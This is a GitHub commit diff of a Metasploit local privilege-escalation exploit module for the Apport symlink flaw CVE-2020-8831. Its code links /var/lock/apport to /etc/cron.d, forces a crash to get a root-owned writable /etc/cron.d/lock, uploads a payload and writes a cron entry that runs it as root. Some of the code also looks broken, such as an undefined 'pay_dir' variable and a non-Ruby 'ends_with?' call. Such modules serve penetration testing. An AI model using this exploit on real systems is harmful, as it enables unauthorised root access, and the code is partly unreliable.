Skip to content

Commit c148d3a

Browse files
committed
Add instance vars, cleanup file writes
1 parent 7c35318 commit c148d3a

File tree

1 file changed

+14
-14
lines changed

1 file changed

+14
-14
lines changed

modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -11,9 +11,6 @@ class MetasploitModule < Msf::Exploit::Local
1111
include Msf::Post::Linux::Kernel
1212
include Msf::Post::File
1313

14-
# TODO: targets in the initialize method and how they work
15-
# TODO other priv esc vectors, startup folders, periodic scripts
16-
# change name to apport exploit, checking lesser version of apport in check method, are they vunerable?
1714
def initialize(info = {})
1815
super(
1916
update_info(
@@ -29,7 +26,7 @@ def initialize(info = {})
2926
},
3027
'License' => MSF_LICENSE,
3128
'Author' => [
32-
'gardnerapp' # mirageinfosec.cloud
29+
'gardnerapp'
3330
],
3431
'References' => [
3532
[
@@ -99,9 +96,10 @@ def check
9996
CheckCode::Safe
10097
end
10198

102-
# hijack symlink by creating apport crash
99+
# Crash Apport and hijack a symlink
100+
# this will creat a rwx /etc/cron.d/lock owned by root
103101
def hijack_apport
104-
# Create symlink, this will create a rwxrwxrwx root:root /etc/cron.d/lock
102+
105103
print_status("Creating symlink...")
106104
link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport')
107105
print_status(link)
@@ -110,23 +108,24 @@ def hijack_apport
110108
print_status("Triggering crash...")
111109
cmd_exec 'sleep 10s & kill -11 $!'
112110

113-
# need method for seeing if file is owned by root and combine with and gate
114-
# TODO want to check if file is root owned to ensure exploit workedd
115-
if !writable?('/etc/cron.d/lock')
111+
@cron = '/etc/cron.d/lock'
112+
113+
# Make sure it's writable and owned by root
114+
unless exist?(@cron)
116115
fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.')
117116
else
118117
print_good("Successfully created /etc/cron.d/lock")
119118
end
120119
end
121120

122121
def write_payload
123-
print_status 'Uploading payload'
122+
print_status 'Uploading payload..'
124123

125-
payload_dir = datastore['WritableDir']
124+
payload_dir = datastore['Writable_Dir']
126125

127126
payload_dir += '/' unless pay_dir.ends_with? '/'
128127

129-
payload_file = datastore['PayloadFilename']
128+
payload_file = datastore['Payload_Filename']
130129

131130
@payload_dest = "#{payload_dir}#{payload_file}"
132131

@@ -140,9 +139,10 @@ def write_payload
140139
end
141140

142141
def write_cron
143-
cron_file = '/etc/cron.d/lock'
144142
cron_interval = datastore['CRON_INTERVAL']
145-
write_file(cron_file, "#{cron_interval} #{@payload_dest}")
143+
data = "#{cron_interval} #{@payload_dest}"
144+
write_file(@cron, data)
145+
print_good "Successfully wrote crontab!"
146146
end
147147

148148
def exploit

0 commit comments

Comments
 (0)